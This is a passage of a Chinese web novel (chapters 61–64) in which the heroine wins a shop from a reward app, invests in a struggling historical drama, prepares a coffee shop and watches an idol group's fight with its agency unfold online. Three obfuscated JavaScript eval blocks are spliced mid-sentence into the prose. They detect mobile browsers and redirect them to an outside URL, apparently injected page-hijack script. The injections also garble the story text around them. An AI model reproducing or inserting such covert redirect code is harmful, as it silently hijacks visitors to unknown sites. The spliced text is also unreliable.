节目组发来的方案里暂时确定的只有导演团队和拍摄团队，已签约参加的艺人也只有孙宇威一个。 后续还要再看情况。 倒是春风传媒的那个投资项目可以先提上议程。 孙致容来了兴趣，刚好发给领导的材料反馈还没下来，干脆拉着相对比较专业的孙爸坐下来帮忙看条款。 几个人正在讨论具体可以投资的金额，包括这个项目最终能不能落地，究竟会不会亏损，如果顺利又能赚多少，凌钰的手机突然震动起来。 【识人】app跳出了新的提示。 【最新提醒：您的内娱风气更正指数已达20%，您已解锁首个礼盒，请您及时查收！谢谢！】 61.第 61 章 点开【识人】主页，最上面的指数果然又发生了变化。 自之前的14.13%来到了现在的21.05%，虽然还不太清楚究竟发生了什么，但并不耽误凌钰先查看礼盒。 小小的灰色礼盒变成了活跃跳动的红色，点击之后出现了一个抽奖页面。 五等分不同色系的圆盘，有五种不同的奖励，下方有小字提示。 【礼盒1:随机抽奖。】 【该奖池内奖品分别为：免除最近一次任务惩罚、获得某娱乐公司2%股权（需在固定选项中选择）、提前检测某艺人是否已塌房一次、获得临街商铺一间（需在固定选项中选择）、拨正已有塌房行为的正主一次。】 【该随机抽奖每个选项被抽中几率均为20%，宿主有且仅有一次抽奖机会，抽中奖项后不可更改，后续礼盒中将不再出现本次礼盒内任一内容。】 【该礼盒限时3分钟内领取，过时不领视为放弃。】 连领奖励都给她限时…… 凌钰十分无语，但既知骂也无用，她干脆直接抬手点击了圆盘正中的开始摁钮，奖池疯狂转动，继而缓缓停下。 指针自五个选项一一划过，最终落在了其中蓝色的选项上。 系统立刻弹出提醒。 【恭喜宿主，您已获得临街商铺一间（需在固定选项中选择），请您于倒计时30秒内做出选择，过时视为放弃。具体选项如下——】 【国贸东北角10平米临街店铺W3210；百里汇南侧15平米临街店铺L21;泰安小区东侧22平米临街店铺M69；泰源大厦一层29平米临街店铺T674；紫渊大厦一层东南角14平米临街店铺Z590……】 后面零零碎碎将近三十个选项可供选择，系统的标注也很详细，甚至具体到了店铺的门牌，可这又有什么用？ 这么短的时间，能大致反应过来这些商业综合体究竟在什么地方就算不错了。 凌钰大概扫了一眼，里面并没有她之前比较看好的泰和里，而系统已经开始最后的倒计时：“十、九、八……” 管它选什么吧！ 飞速将图标调至最上层国贸的店铺，这里哪怕位置再角落面积再小，也比其他的要值。她先前之所以没有考虑，是因为那边租金实在太贵，而如果想要买，就更得要花天文数字，还得看运气，不知道有没有得卖。 现在既然有免费的选，那还有什么可犹豫的？就算自己开咖啡店不合适，也能转租给别人。 点击“确定”，系统提示再次亮起。 【宿主您好，您已选定T市国贸东北角10平米临街店铺W3210，正在为您办理房屋购买及登记手续。】 【宿主您好，您的手续已办理完成，您可在当地房管局官方网站查询具体信息，相关纸质材料及房产证将于3个工作日内邮寄至您当前居住地，请注意查收，谢谢！】 凌钰这才有空去看这个国贸的店铺究竟在哪。 地图上搜索过后，又根据就近店铺研究了半天，她终于弄清了大概。 门牌号W3210的店面虽说是在国贸东北角，其实倒也不是特别偏，只是刚好在整个商业综合体的最里侧，因此即便临街，也比外围的商铺冷清不少。 这次户主似乎是急需一大笔钱，今早才刚挂到网上，就被她给“买”了下来。 而其余未被选中的选项，也都是些在售商铺。 看来系统确实不忘初心牢记使命，是很讲规矩遵纪守法的系统，什么宿主想要就有，没有也要强取豪夺的戏码统统不存在，也正因如此，有价无市的泰和里连出现都没出现。 关闭网页打开微博，凌钰又点进热搜看了一眼，总算弄明白了为什么内娱风气更正指数会突然增加。 ily被追车的事有了新的进展。 热一的话题#肖雨婷解约#已经爆了，接着是#埃尼娱乐#，再往后ily连续好几个成员宣布即将解约，再后面则是#内娱大地震#、#ily怎么了#、#林渊肖雨婷#和#埃尼娱乐霸王条款#…… 就在不久的刚才，肖雨婷又发了一条长文。 【@ily肖雨婷：从选秀出道至今，很感谢支持我的粉丝、我的朋友、我的队友们和所有帮助过我的人。 为了爱我的你们，我从不喜欢把负面情绪展示出来带给大家，因为我始终觉得，公众人物即便不能创造快乐，也不该带来苦难，即便不能传递开心，也不该让自己的负面情绪由观众买单。 所以你们看到的我永远是充满活力、全力以赴、永远往前。但有时候，阳光背后总有阴霾，笑容背后难免责骂，光鲜背后也许全是不可见人的恶臭和淤泥。 有些话，我想我必须得说了。 当年的选秀，我们所有入围半决赛的参赛者在最初都和埃尼娱乐签过一份合约，以最低的价格把自己往后的五十年都卖给了埃尼，而成团的我们则比别人又多签了一份附加协议。 公司为我们提供资源，我们在前十年里拿固定工资5000元/月，没有额外收入，不交五险一金，如果无法完成公司的工作要求，还将按照10%到50%的比例扣除当月工资，十年后再另外签订附加条款。 也就是说，哪怕我们累死也不能拒绝任何一个工作，只要是公司的要求我们都必须去做，否则我们可能连活下去都难。 这几年我们就这样过来了，浑浑噩噩不想不看，总觉得十年之后就会好的。 公司安排cp，我们就去配合炒作，公司安排对家，我们就去配合卖惨针对，公司不让我们去管粉丝的过分行为，我们就不去管，少说、多做，哪怕你明知道那些要求很无理，是错的，根本不应该。 他们说，私生越多代表你们越火。 他们说，你们已经红了，可以炒cp带带公司新人了。 他们说，五千还觉得少吗？你们又不创造社会价值，又没有特殊贡献，看普通人能有几个拿这么多钱？知足吧！ 他们还说，利用不了的人就赶紧撇清关系，少发无用的善心，少和无用的人打交道—— 因为他们觉得聂老师洁身自好不会配合炒cp，所以哪怕对方救了我，我也不该感谢，因为觉得苏老师和静思姐也不好利用，所以让我少提。 甚至到今天，私生跟车要不是真的撞了上来，他们还是不打算管，而只要管了，就是简单粗暴的骂人打人，激怒对方之后又害怕了，把我们几个女孩子暴露在人前，自己跑了。 他们想要控制我的微博，堵住我的嘴巴，让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331270|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我成为提线木偶，永远按照他们设定好的程序行动。 可事实是，我们在不知不觉中成为了风险艺人，就像有人说的，我的粉圈乱成一团，谁还敢来做我的粉丝？而正常的理智粉都被赶跑，剩下的又会是什么？同理，我的风险如此之高，又能有什么真正好的机会？ 努力看不到头，抬头也看不到亮。 我想我也该做出些改变了。 无论要多高的违约金，无论埃尼娱乐是什么态度，我都将坚决解约，用法律武器维护自己的利益。 最后再说一遍：我和林渊只是普通的同事关系，那张引发大讨论的舞台错位图合照是公司非要发的，与我本人无关，合作也是公司安排的，拒绝不了，所有与我们相关的cp都是假的，别再嗑了。 作为爱豆，我们团的确每个人都是单身！ 还有，团内塑造的针锋相对也不是真的，真的事只有一件——ily的每个人都是受害者。】 这条长文应该是在以上一堆话题中最先发出来的，因此底下最开始骂声一片。 【你疯了吧？真的假的啊？】 【这是要解约还是要退圈？还有，为什么还要在这个时候提林渊啊？都是埃尼娱乐的同事，如果你们的遭遇是这样，他肯定也是受害者啊！人怎么还能有两幅面孔呢？】 【肖雨婷你认真的吗？拉票的时候低声下气做小伏低，现在嫌弃起自己的粉丝来了？还说我们会是什么？】 【这几天看了她发的几篇微博，感觉她好像精神有点不正常。】 【干完这票不在娱乐圈混了？这是准备自己一个人跟公司硬刚？你想死别拉着队友啊，还有你说的真的假的啊？一个月工资五千，比我的还低，怎么可能啊？每次看你们出现不都是一身奢侈品吗？】 但评论没过多久就转变了风向。 【我去，ily成员全都宣布要解约了，什么情况啊？】 【刚看了吃瓜博主的梳理，所以埃尼娱乐的操作就是先低价签一大批人，然后能红的就继续压榨，不能红的就耗着，耗不住了想解约就又可以赚一大波违约金？成团的几个看着光鲜亮丽，其实除了每个月五千块钱，没一样东西是自己的。】 【所以埃尼就是一直在pua她们呗！难怪有时候会觉得她们状态不好，每次都是肖雨婷出来做代表发言。只能说肖雨婷的内核还是太强大了，换我把青春浪费在这种公司，活又活不好，走又走不了，恐怕早抑郁了。】 【哈，天天说肖雨婷是埃尼皇太女，没想到林渊才是真正的太子，笑死。】 【有人爆料，说埃尼娱乐私底下还有专门拉皮条的诶！】 最后一条评论吸引了众多注意，好多人都在问具体情况，凌钰返回主页，果然看到#埃尼娱乐黑产业链#的话题悄悄地挂在了热搜榜尾。 孙致容和孙爸还在一旁研究春风传媒的投资项目，并不知道网上短期内竟发生了这么多的事。 两人商量得差不多，招手喊凌钰道：“我们大概算了一下，他们报的缺口资金大概是六千万，不过这只是预估，后续很有可能不够。” 孙爸想了想，提议：“这个项目应该还行，你要是钱够也可以全投，要是担心出什么问题，投个一半试试水也是可以的。” 62.第 62 章 凌钰放下手机，先凑近平板将方案通读了两遍，又就一些细节和对方的负责人聊了一会儿，总算了解了大致情况。 按照原先的计划，《清君侧》这部戏的投资预估大概在4.5亿。 作为一部电视剧，这个金额虽然还达不到历年来最高，但也绝对是充裕的，至少如果换成是别的普通制作方，应该不仅能找来几个新晋流量制造话题，还早就拍完上映甚至已经赚了不少钱。 但春风传媒走的路子却不同。 耗时四年，导演想要的不仅是重现明成祖朱棣波澜壮阔的一生，更希望能给观众呈现出朱元璋、朱允炆、朱棣三人之间人性和权利的复杂纠葛，以及当时社会下不同地区的风土人情。 因此无论是场景设置、演员选角、服装道具、后期制作、影视配乐，甚至就连大场面中足够多的群演等等各项细节，都有很高的要求。 高要求，也就代表着高消耗。 当然如果一切顺利，就算再高的消耗，4.5亿这样的天文数字按理来说也足够了，按现在的相关要求分为两季播出，一季30集，集均也有750万的预算。 奈何整个剧组按照某些人的话来说，全是“吹毛求疵”的大神。 选来的演员演着演着感觉不对味，换了，一换拖了工期不提还得赔违约金。 已经做好的服装拿来穿上一看，差了点意思，重做，之前的钱相当于直接打了水漂，还得另外花更多的钱做更加精良符合历史背景的衣服。 两军对战的大场面机器都架上了人也准备了，结果发现群演太少画面不协调，又停拍继续找人——这一停可能不是一两天，而是好几天，所有的人力物力，最重要是财力就全部都浪费了。 倒也不是负责人没能提前预判风险，而是拍摄现场确实会有很多不可控。 于是这4.5亿听着多，实际上整部剧才拍了大半就消耗了个七七八八。 偏偏导演精益求精，出品方也坚持力挺，项目时间拉的太长，其中一个大投资方眼看着这剧四年都没能熬出来，而且很可能再来四年都拍不好，终于受不了撤资了。 这一撤资，让本就贫穷的剧组更加捉襟见肘。 如果整部剧还没有完全定调，而导演又能将一些主角和配角让出来给资方塞人，那情况可能还要好点。 但坏就坏在所有人都是轴脑筋，担着项目流产的风险依旧在死磕。 现在剧的主线都已经拍得差不多了，塞人既不可行，大的投资方自然招揽不到，小投资方一看这前期花钱如流水的样子犹如无底洞，也不敢轻易接手，就这么不上不下地拖了一天又一天。 春风传媒这段日子过得十分艰苦。 靠着从前积累的口碑，他们倒也陆陆续续又拉了些资金，但算来算去也还缺至少六千万。 要不是实在没招了，也不至于因为凌钰挥金如土的追星而找上门来。 为表诚意，对方的负责人甚至发了一些已经提前制作完成的小片段过来，又把春风传媒此前几年的爆品，还有这次项目的主要班底成员的成绩也一起打包都写在了PPT里，目的无非一个，就是证明他们值得。 六千万。 不少，不过如果这部剧最后真的能成功在央视播出而又能取得很好的成绩，那作为投资方的她得到的回报也会很可观。 凌钰看了一眼自己的账户余额，觉得可行。 系统的礼盒免费送了她一间临街店铺，此前需要花在这上面的预算就省了，何况她原本就存了要投资这部剧的意思，都找上门来了，哪能错过？ 孙爸之前自己就是公司老总，这方面也比她精通。 凌钰表达了投资意愿，沉寂了一年多的老人家终于来了劲。 “六千万都投是吧？大气！这是我现在没钱了，其实要换做是我，我肯定也是都投的。这个项目只要能做出来，那是必赚！只是可能还得等上个两年才能看到回报……” 凌钰没什么想法：“反正咱也不急着用钱。” 孙爸顿时一拍胸脯，直觉终于有了用武之地，手机短视频都不刷了。 “那成，我现在来联系熟悉的法务先帮你再看看材料，后续如果对方合同过来，就给你找个专门的法律顾问。” 意气风发的状态回归，连萦绕许久的颓丧气都没了。 凌钰在旁成了甩手掌柜，一时也没什么好干的。 他们早饭吃得晚，中午都没再吃，这会儿眼看着日落西山，干脆点了些外卖准备当晚饭。 想起刚才看到的最后一条评论，便又点进了微博。 果然，#埃尼娱乐黑产业链#的话题不知何时已经断层登顶，广场上的讨论简直铺天盖地。 【我的妈呀这是真的假的啊？之前都只在小说里看到这种，我以为当初林业诱拐未成年那种事就已经够离谱了，没想到内娱又给我再上一课，就是告诉我没有最离谱只有更离谱？】 【大过节的搞这出，今天全国人民都放假，埃尼会不会也没人上班啊？这么长时间了什么回应都没有，救命。】 【刚才又有一个人出来爆料了，也是个之前签过埃尼的艺人，后来退圈了的。】 【有没有人知道是只有那一个经纪人这样还是公司所有人都这样啊？天塌了啊家人们，我的小爱豆也在埃尼啊，不会年纪轻轻也遭毒手了吧？还有那个谁，陈静思之前不也是埃尼的人吗？】 【贵圈真乱。】 【不是，ily这边不是只说了低价签合同的事吗？怎么突然就又爆料什么黑产业链了啊？我看那些爆料号都是些光板号，怎么就能证明身份了？】 【我也觉得，感觉像是有人故意在扰乱人视线一样！现在说的就是合同违不违规，是不是霸王条款的事，为什么都去讨论拉皮条了？埃尼的营销手段？先自泼脏水再自证清白，达到一个洗白的作用？】 凌钰再往下看，果然已经看到有人在好奇。 【真要是拉皮条，ily还能幸免？她们几个虽说算不上多惊艳的大美女吧，可身材是确实好得让人看了都要流鼻血，埃尼要是真做这生意，她们逃不掉吧？】 【那要真这样，还有好几个小爱豆小演员呢，还有陈静思，不红之前也签在埃尼，当时拍了不少配角戏，我记得还有人曝光过她那个床上的戏来着。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351039|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【肖雨婷自己不也说她们拒绝不了公司的安排吗？那肯定就是什么都得干了，否则不就是自相矛盾？我去，这么劲爆，难怪小作文里没写……那这还叫什么单身？睡过不用负责的单身吗？那倒是潇洒。】 这话实在难听，引来很多骂声。 【疯了吧你？你妈生你的时候是忘了给你生脑子了？】 【怎么还有人受害者有罪论了呢？想要流量想疯了吧，也是给你劲爆上了，这潇洒给你你要不要啊？tui！】 【发现问题不去攻击有问题的人，反来嘲笑可能的受害者，给ily泼脏水还不够，现在又给陈静思泼上了是吧？怎么，是觉得陈静思不上网，粉丝也都很佛系就可以随意造谣了？】 【以前的静夜思可能是，不过现在的话……你们有没有发现，追星姐追星的特色，只要正主一有什么网络舆情她就会花钱抽奖，舆情越大她花得就越多。我只能说某些有恶意的人你就造谣吧，到时候说不定反而造福人家静夜思了笑死。】 【楼上说得很有道理，甚至她的正主越被造谣越红了，看看聂嘉远，两个月前还只是个上升期的糊糊，现在直接稳居内娱男星第一梯队了。】 话题也不知道怎么又延伸到了她这里，凌钰又翻了翻，好像没什么人再说陈静思和聂嘉远的事，就暂时关了微博。 孙爸还在忙着咨询市场行情，孙致容提交给公司的材料反馈倒是在这时候发了回来，有不少要改的地方。 整体的汇报材料倒还好，因为基本都是各个部门按照要求分列写的段落，只有一些用词方面要再调整。 可PPT就过分了。 孙致容原本是以三大方面的具体工作划分的版面，大领导两张嘴皮子一动，觉得这几个标题不够高端，要她以理论方向重新分成四块。 也就是说不是修改，而是要全部推翻重做。 孙致容一张脸顿时漆黑，打了一半辞职报告的手指速度更快了。 到晚上八点左右，孙爸那边才差不多给出建议。 一来可以试着在对方原先提出的利润基础上再抬高两个点，二来也可以商量看能不能做一些少量植入，或者附加要求。 凌钰先把利润的事说完，想想她们的咖啡店还没开业，就只稍微提了一嘴。 至于附加要求…… 强制塞人什么的，不仅违背春风传媒的做事原则，也不符合她自己本人的想法，因此斟酌再三她也只是编辑文字发送。 “如果下次有机会，或许可以问问我两位正主有没有合作的意向，如果有的话，希望能给个优先选择权，哪怕主角没有合适的，配角或者客串也可以——当然，前提是对方也愿意。” 这要求并不算过分，何况她是救急投资。 锦上添花不难，雪中送炭却不容易。 对面回复得非常干脆：“可以的，如果只有这两个要求的话，我这边拟定协议就发送给您过目。” 凌钰刚回复了一个“OK”，就又收到了之前那家律所联系人的消息。 一连几张图片，是她提告的几个造谣诽谤的账号法院那边已经给了裁决。 63.第 63 章 不知道为什么，起诉的事其实并没有过去太久，但此刻凌钰再看到那些熟悉的账号名时，却突然生出一种很遥远的感觉。 尤其是曾经对她冷嘲热讽的前同事们，如今已成了完全没有联络的陌路人。 一堆的账号，大多被处以罚款并在公共平台手写道歉信置顶，而谣言的源头——她的那位前同事曾言，则还多了一项拘留5天的判处。 时间不长，罚款也不多，却留了案底，对她这样还想着还子女考公的人来说，没有比这种惩处更让人崩溃的了。 如果有机会回到过去，凌钰相信她一定不会再因为这点莫名的不忿而做出这样不理智的事来。 假期的最后一天下午，律所官博公布了相关案件的结案信息。 看着一连串含有“恒星”、“橙子”词汇的账号名，不少人都在下面感慨。 【谁能想到呢？最先那一批被告道歉的时候赵恒还如日中天，王晨之也一副即将上位的样子，结果这最后一批案子结案，那两位正主都已经没了……】 【话说赵恒现在咋样了？是不是也该判了？】 【王晨之应该也差不多了吧？这两人也是真是神，之前两人粉丝联合起来欺负聂嘉远的时候估计谁也没想到会是这么个结果吧？你别说，这里面是有点东西在的，我决定再去追星姐那儿拜拜。】 【那前两天肖雨婷粉丝也欺负聂嘉远了诶，那会不会……】 【可是肖雨婷这次发的长文，似乎也有一部分原因是因为看到有人说，追星姐之所以不粉她，是因为她粉圈太乱了。感觉她自己本人并不希望粉丝是这种疯魔的状态，只是公司不肯管而已，那就应该还是公司的问题吧。】 【不好说，真不好说，感觉这次要不肖雨婷玩完，要不埃尼娱乐玩完。埃尼昨天深更半夜的倒是发了个辟谣声明，但现在声明这种东西……自从赵恒的事情之后我就不相信了。】 【也不知道追星姐是怎么看的，好想艾特她问问啊，可是又不敢。】 【楼上的这有什么不敢的？我帮你@我来追星了@我来追星了@我来追星了，哈哈哈！】 凌钰本来还没注意，等发现自己被艾特的提示越来越多，她打开看了一眼才发现，吃瓜群众们居然真把她当风向标预警器了。 可问题是她哪知道埃尼娱乐和肖雨婷真正的情况…… 正要返回首页再看看有没有什么新的消息，春风传媒项目负责人连发了好几条微信来。 “凌小姐，公司已经根据您的要求和您两位正主方都沟通过了。” “聂嘉远那边表达了很强烈的合作意向，虽然目前暂定的角色是即将开拍的一部谍战戏里的男三，但他本人表示不看重番位。” “此外，陈静思那边回复说静思姐档期很忙，我们原本是有一个年代戏的女二打算邀请她来参演，导演觉得她很符合人物形象，也愿意为她推迟档期，但她本人拒绝了，应该是有别的安排。” 既然要合作，当然要看双方意愿。 凌钰原本就只是提议，并没有要强求的意思，聂嘉远同意正常，陈静思不同意也正常，不过春风传媒这种重视的态度还是让她很有好感。 凌钰回复了个表情包，又编辑文案发送：“好的，麻烦了。” 双方的合约在上午就已经通过网络签订，她这边暂时保存了电子档，后续对方会再邮寄一份盖章的原件来。 投资的事也算告一段落。 但既然要开店，就还有不少要准备的。 孙致容那边的PPT仍在进行最后的加工，辞职报告虽然提交了，但还要等人事审批，手头上该做的工作还是得做完，等上班后把所有的东西交接好，快的话几天，慢的话可能也得小半个月才能真正完成离职。 孙爸在家没事干，自告奋勇联系了从前的下属，准备明天先去国贸实地考察一下店铺，看看里面原先的装修需不需要大改。 至于凌钰，她得先去参加食品安全培训，制定食品安全管理制度，等装修确定下来再购买设备用品，接着跑材料□□，再招聘咖啡师。 他们昨天就已经商定了咖啡店的名字，就叫YFu’s coffee，看上去非常深奥难以理解甚至有种莫名的高大上，其实就是凌“钰”发家致“富”的意思。 一人名字里取一个字代表，还很吉利。 是的，孙致容自觉“发家致富”的微信名就是她本人。 凌钰窝在沙发上，已经很久没有这种忙碌而充实的感觉了。 上班的时候她总是很忙，通宵熬夜也是常事，态度倒也积极，实则却难免有浑浑噩噩不知前路究竟该如何走的时候。 后来林业塌房，她没了工作，可因为系统附赠寿命给的吝啬，任务发布频次也高，而上升期的聂嘉远又时不时有网络舆情风险，中途还要做临时任务，她依旧很忙，却几乎是在被推着走的。 每天不是在做任务就是在做任务的路上，连多余的想法都来不及有。 再后来随着对聂嘉远的不断投资，他能给予的寿命反馈也呈阶梯式增长。 从最初的一天两天，到之后的七八天，十来天。 哪怕中途王晨之塌了房，凌钰的日子也过得越来越舒坦。 舒坦了，人也就变得格外空闲，闲到让她有时竟会生出一种莫名的空虚和无趣，觉得富贵唾手可得，人生无非生死，不管做什么她都只是被动承受，连一点积极向上的激情都没了。 这种状态其实是很危险的。 幸好孙致容的公司突然发来一堆任务让她为了姐妹重燃斗志，现在终于要主动出击准备开店，虽然人又变得忙了起来，却并不觉得累，反而真正打起了精神。 因为明天是工作日，孙致容和周哥孙爸已经先下楼回去了。 凌钰肚子不饿，只自己喝了点养生粥，洗漱完把次日的闹钟定好，照例给两位正主的微博各发了一条“谨言慎行遵纪守法”的私信，这才沉沉睡去。 元旦过后没几天就又是春节。 七天假期过后，接下来的一段时间里，凌钰都在忙着参加培训、学习和考证。 要不就是在网上对比各种咖啡用品和储存食品原材料的冰柜，以及各种产地不同庄园的咖啡豆，合适的用奶等，继而进行适当的选择。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355592|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 按照他们原先的计划，这次的咖啡店走的就是中高端路线，现在又把店开在了国贸，按照整个商业综合体的总体要求，更要精益求精，让品质和价格都足以配得上这座奢侈品帝国。 孙爸找来的专业人士对整个门店进行了重新设计，力求用最小的改动最快的速度达到最好的效果，目前正在装修中。 凌钰中途抽空去看了一眼，如今已初具雏形。 周哥每天依然准时上下班，孙致容那边的离职申请倒是批了下来，但还得再偶尔回去一趟处理手头上剩下的工作，不过时间好歹弹性了很多，已经能帮凌钰打打下手。 注意力因为创业的事而转移。 她倒还记得每天去两位正主超话里打卡，睡前再发个私信，但其他更多的，暂时就真的顾不上了。 好在【识人】app也没有什么新的动静。 凌钰便放下了心，天天只管早睡早起，两眼一睁就是对食品安全知识的渴望，而时间也在这各种各样的准备里悄然流逝。 初春时分，天气还有些冷。 到三月底，YFu’s coffee终于装修完，又招聘了两个咖啡师开始试营业，别说是凌钰，就连孙致容都跟着忙得瘦了一圈。 按照计划，孙致容是得主要负责这块的，但现在情况又不太一样了，因为后续还有个综艺要接触，凌钰一个人未必能顾得过来，几个人商量了一下，还是让孙爸先到店里帮忙看着。 互联网上的热点每天都在变，凌钰感觉自己也就一阵子没关注，等再打开微博去看热搜时，话题的内容已经基本都换成了新的电视剧电影和综艺。 聂嘉远还在剧组没出来，陈静思也已经进了组。 埃尼娱乐的事好像就这么莫名其妙地被压住了热度，就连相关艺人也都没再有任何发声，但凌钰总觉得有哪里不对劲。 肖雨婷曝光埃尼娱乐霸王条款的时候，【识人】里的内娱风气更正指数有了那么大幅度的增加，甚至一举突破20%，让她拥有了第一个礼盒的奖励，可见这里面一定有问题！ 为什么现在却完全没了动静？ 凌钰不放心地点开肖雨婷的微博，主页停留在最后一次长文，没有再更新过。 怎么会呢？ 一个打算跟对方彻底撕破脸的人，就算后续没有立刻成功，也一定会发相关进度。肖雨婷的粉丝显然也急得不行，最新评论和转发里都在问。 【你人呢？这都快两个月了，就算不发博，好歹上线让我们安心一点吧……】 【法治社会，不会那么夸张吧，真希望是我想多了。可肖雨婷发了这个文之后就再也没上线过，也没人拍到过她，后援会倒是说她没事只是在家休息，可谁知道后援会是不是也被埃尼控制了啊？】 【关键ily几个人都没再上线过，妈的我想报警了！】 【我之前看到有个新号说自己是ily李岑，但不知道是真的假的，我还关注了，但都没过两个小时吧，那个号就没了……】 【求求了，埃尼不做人，肖雨婷你要是能看到我们的消息，一定想个办法报平安好吗？】 64.第 64 章 事情确实透着古怪。 虽然肖雨婷并非她的正主，可毕竟事关对方人身安全，何况她还和内娱风气更正指数有关，没看到消息倒也罢了，现在既然察觉出不对，凌钰总觉得还是该先把人给找到。 然而就像上面评论里说的，如果连官方后援会的账号运营权也在公司手上，正主不上线，公司不做人，连大粉都不知道她在哪，凌钰就算想查，一时也难以确认对方目前的状态。 她难得有些后悔。 早知道当初还是加一下聂嘉远的微信，至少艺人之间应该还是有私人联系方式的，就算当下没有，按照他们的关系网，找人这事也相对比她简单。 这段时间凌钰忙于创业，聂嘉远也一直稳稳当当在剧组，基本没怎么营业。 《清风何在》作为一部武侠探案剧，目前的拍摄已经进入尾声。 根据剧情需要，近一个月的时间里主演们都在N市那些很偏远的山上，就连平时十分活跃的代拍们，发的也都是模糊到几乎成为了马赛克的图。 剧组的演员大多都处于“失联”状态。 手机充电不便，网络也不大好。 除了偶尔的商务不得不上线转发，发完就下线，聂嘉远其余时间基本不登陆微博，别说空降翻牌，就连凌钰最近发私信收到的也都又成了自动回复。 不过虽然希望渺茫，她还是想尝试私发一下问问看。 然而才刚进入消息页面，还没来得及点进聂嘉远的对话框，陈静思工作室的留言却先跳了出来。 “@陈静思工作室：凌小姐您好，收悉您参与投资春风传媒的项目并向对方推荐了静思姐，但由于种种原因，综合考虑后我们一致认为该角色和静思姐本人不太适配，所以遗憾未能合作。” “本次合作虽然没成，但仍然感谢您的倾情推荐，静思姐近日将签约LP黄金代言，届时会在T市国贸LP黄金店铺进行线下商业宣传活动，活动名额有限，考虑到您曾参加过此类活动，我们诚挚地邀请您莅临现场！” “活动时间为本月5日下午2:00，您可直接联系以下微信，工作人员会在现场接待您。” 上次的正常任务和临时任务完成后，系统给了凌钰整整70天的附加寿命。 春节过后，正主1聂嘉远商务不断状态平稳，大约是真正走到高处后恶意反而会变少，总之他并不再像之前一样干什么都引来一堆负面评价。 而正主2陈静思这边虽然偶尔有人因为埃尼娱乐的事讨论两句，却根本不成气候，自然也形成不了大的舆论。 正常任务时间节点尚未到，也没有新的临时任务。 凌钰要开店，免不了要选材，中途但凡有合适的用品需求，都会直接批量购买两位正主的代言。 只是一来创业初期有很多东西要考虑要忙，空闲时间实在不多，二来既然不是任务，她也就没再费心费力去超话晒单。 所以在外人看来，她依旧是聂嘉远最大的氪金粉——毕竟总消费摆在那，可公布正主2之后却只给陈静思花了几千块，就算这次给春风传媒推荐合作，也毕竟没能成功。 凌钰是知道这个即将官宣的新商务的。 LP黄金做工精致定位高端，也是她刚开始得了系统后买的第一件奢侈品，这次的活动名额有限，门槛也高，没料到对方的工作室会主动来联系她。 她连忙回复了一个：“OK！” 活动在三天后，凌钰先添加了对方给的联系方式，打完招呼才重新返回微博。 大概是肖雨婷实在太久没有出现，越来越多的粉丝开始铺广场，沉寂许久的埃尼娱乐再次被推上了风口浪尖。 【究竟有没有人能管管埃尼娱乐了？霸王条款没人管，对黑产业链的回复也不明不白，现在就这么冷处理，我家几个女儿一点动静都没了！问公司公司装死，问后援会只会说她们都好好的，好好的！那好好的人哪去了？】 【快两个月了！肖雨婷的账号自从上次之后就没再上线过，ily其他人也是，埃尼这是什么意思？是封口是雪藏了还是做了什么别的见不得人的事？】 【@埃尼娱乐@埃尼娱乐@埃尼娱乐，给老娘出来！】 越来越多的讨论涌入，话题渐渐有了流量。 对什么都只有三秒钟热度的吃瓜网友们一时也好奇起来。 【对啊，春节那会儿还等着想看看肖雨婷状告埃尼娱乐会是什么结果呢，结果后来一直没动静我就闹忘了，谁知这么多天过去，现在告诉我当时说要对抗到底的肖雨婷人没了？】 【不是，我看了半天，ily全体都没了是什么意思，什么叫没了？怎么每个字都认识，凑在一起就看不懂了呢？】 有人开始极限理解。 【什么？肖雨婷死了？！】 【楼上什么意思？那ily全体都没了的意思……妈妈呀！ily几个人都死了？！】 【？？？楼上的究竟在说什么？】 突然冒出的离谱惊叹差点没让凌钰把刚喝进嘴的咖啡全喷出来。 谣言传播，总是伴随着一定的虚构、猜想，理解上的障碍和转达时的不精准，她想过很多话会越说越离谱，却没想到会离谱到这种程度。 没再继续往下看，凌钰还是选择先给聂嘉远发了一条私信留言：“请问一下，你那边有没有肖雨婷的联系方式啊？” 对话框里意料之中地弹出了自动回复。 上午十点半，这个时间他应该还在拍戏。 凌钰没急着催促，只将他的私信设置了特别提醒。 今天她还约了有凤娱乐要具体谈一谈那个综艺节目的事，根据现有消息，节目名称已经确定为《你好，我的粉丝朋友！》。 不得不说有凤娱乐还是有点力气和手段的，之前透露的拟邀嘉宾除了墨之染，其余人竟然都同意了参加。 就连对家公司花香娱乐的周梓然也不例外。 考虑到档期问题，节目大概下个月月初开始录制，因为只录制六天，对于忙碌的演员和爱豆们倒也能接受。 